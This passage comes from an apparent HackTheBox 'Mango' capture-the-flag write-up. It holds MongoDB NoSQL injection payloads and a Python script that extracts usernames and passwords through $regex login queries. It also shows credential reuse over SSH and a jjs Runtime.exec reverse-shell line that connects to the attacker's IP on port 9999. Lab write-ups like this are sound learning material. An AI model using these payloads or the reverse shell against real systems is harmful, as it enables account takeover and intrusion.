&gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The [$regex] function provides functionality much like substr.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0429.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its usage is shown here and looks straightforward. We only need a character set.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0430.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The character set is string.printable. Remove the unwanted characters from that set, then iterate through the rest one by one. A successful login returns 302.&lt;/p&gt;&#10;&lt;p&gt;This relied almost entirely on that article, but there was still a drawback: we couldn&amp;rsquo;t discover the username. admin was the default, but I didn&amp;rsquo;t believe it was the only user.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s extract the admin password first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0431.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The admin password has 12 characters. Payload:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username=admin&amp;amp;password[$regex]=.{§1§}&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I continued learning MongoDB and NoSQL injection syntax and found a crucial point.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;The line above is the payload. The linked article described a statement for brute-forcing password, and the same approach works for username.&lt;/p&gt;&#10;&lt;p&gt;Constructing username[$regex]=^a.* creates a regular expression that returns a result if a username beginning with a exists. This resembles the a* enumeration vulnerabilities I encountered before: a*, ad*, adm*, admi*, and so on.&lt;/p&gt;&#10;&lt;p&gt;This lets us brute-force usernames, but there is another prerequisite: even if the username is correct, we don&amp;rsquo;t have the corresponding account password. Adding the earlier wildcard condition password[$ne]=1 lets us construct a PoC.&lt;/p&gt;&#10;&lt;p&gt;PoC logic: first brute-force the username by iterating over every character. If a exists, add it to the list by itself, then brute-force the following character. Whenever a different response appears, append that character. On the second pass, try (a) plus every character, and continue appending whenever a different response appears. If the nth pass over all characters returns nothing, the complete username has been extracted. A 302 response is the indicator of a successful login.&lt;/p&gt;&#10;&lt;p&gt;The same code can be reused to brute-force passwords; the logic is identical.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import string&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://staging-order.mango.htb/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Length&amp;#39;: &amp;#39;49&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Origin&amp;#39;: &amp;#39;http://staging-order.mango.htb&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Type&amp;#39;: &amp;#39;application/x-www-form-urlencoded&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://staging-order.mango.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=qspndr7i6msn9e8eamalqjadh7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = &amp;#39;username[$regex]=^a.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# #Username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if list_username != [] and len(list_username) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in range(0, len(list_username)):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{list_username[i]+c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username[i] = list_username[i]+c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(&amp;#34;result:&amp;#34;,list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if c not in [&amp;#39;*&amp;#39;, &amp;#39;+&amp;#39;, &amp;#39;.&amp;#39;, &amp;#39;?&amp;#39;, &amp;#39;|&amp;#39;, &amp;#39;#&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;$&amp;#39;, &amp;#39;\\&amp;#39;,&amp;#39;^&amp;#39;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# post_data_1 = f&amp;#34;username[$regex]=^{c}.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(c,response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# list_username.append(c)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(list_username)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print_list = []&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The two approaches do not conflict; uncommenting the code above still works&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;list_username = [&amp;#39;admin&amp;#39;, &amp;#39;mango&amp;#39;] # Enter usernames here, or comment out this line to use the results above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for user in list_username:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while True:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if list_password != [] and len(list_password) &amp;gt;= 1 and flag:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{list_password + c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag = True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; elif flag == False:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(&amp;#34;result:&amp;#34;, list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print_list.append(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # exit()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; else:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for c in string.printable:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if c not in [&amp;#34;*&amp;#34;, &amp;#34;+&amp;#34;, &amp;#34;.&amp;#34;, &amp;#34;?&amp;#34;, &amp;#34;|&amp;#34;, &amp;#34;\\&amp;#34;, &amp;#34;\b&amp;#34;, &amp;#34;&amp;amp;&amp;#34;,&amp;#34;$&amp;#34;]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; post_data_1 = f&amp;#34;username={user}&amp;amp;password[$regex]=^{c}.*&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # post_data_2 = &amp;#34;username[$regex]=^.*&amp;amp;password[$ne]=1&amp;amp;login=login&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(post_data_1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(c, response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 302:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; list_password += c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(list_password)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(print_list)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It was indeed a little slow. I hadn&amp;rsquo;t considered multithreading. The script probably still needed optimization, but those details weren&amp;rsquo;t important here.&lt;/p&gt;&#10;&lt;p&gt;username&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0432.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I hadn&amp;rsquo;t deduplicated the results, but the password came out. It had the same length I measured manually: 16 characters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0433.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0434.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Credential reuse worked for mango, and I logged in over SSH.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0435.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Most likely I needed to move laterally to admin and then run this to escalate to root.&lt;/p&gt;&#10;&lt;p&gt;The script provided that hint as well, but we weren&amp;rsquo;t admin.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0436.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0437.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Using su with the password from earlier got me in. SSH was probably disabled in sshconfig.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0438.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was a classic reverse-shell script: start a ProcessBuilder thread, connect back with a Socket, define input streams, and use an infinite loop to send commands and return their output.&lt;/p&gt;&#10;&lt;p&gt;The problem was that I had never used jjs. I Googled how to exploit it.&lt;/p&gt;&#10;&lt;p&gt;What I learned was that it can execute Java code directly.&lt;/p&gt;&#10;&lt;p&gt;Java.type(&amp;lsquo;java.lang.Runtime&amp;rsquo;).getRuntime().exec(&amp;rsquo;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/9999 0&amp;gt;&amp;amp;1&amp;rsquo;)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0439.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The process started but reported no input, and I received no shell. The examples below came with it; the versions with modified arguments were my own tests, but none of them returned a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" 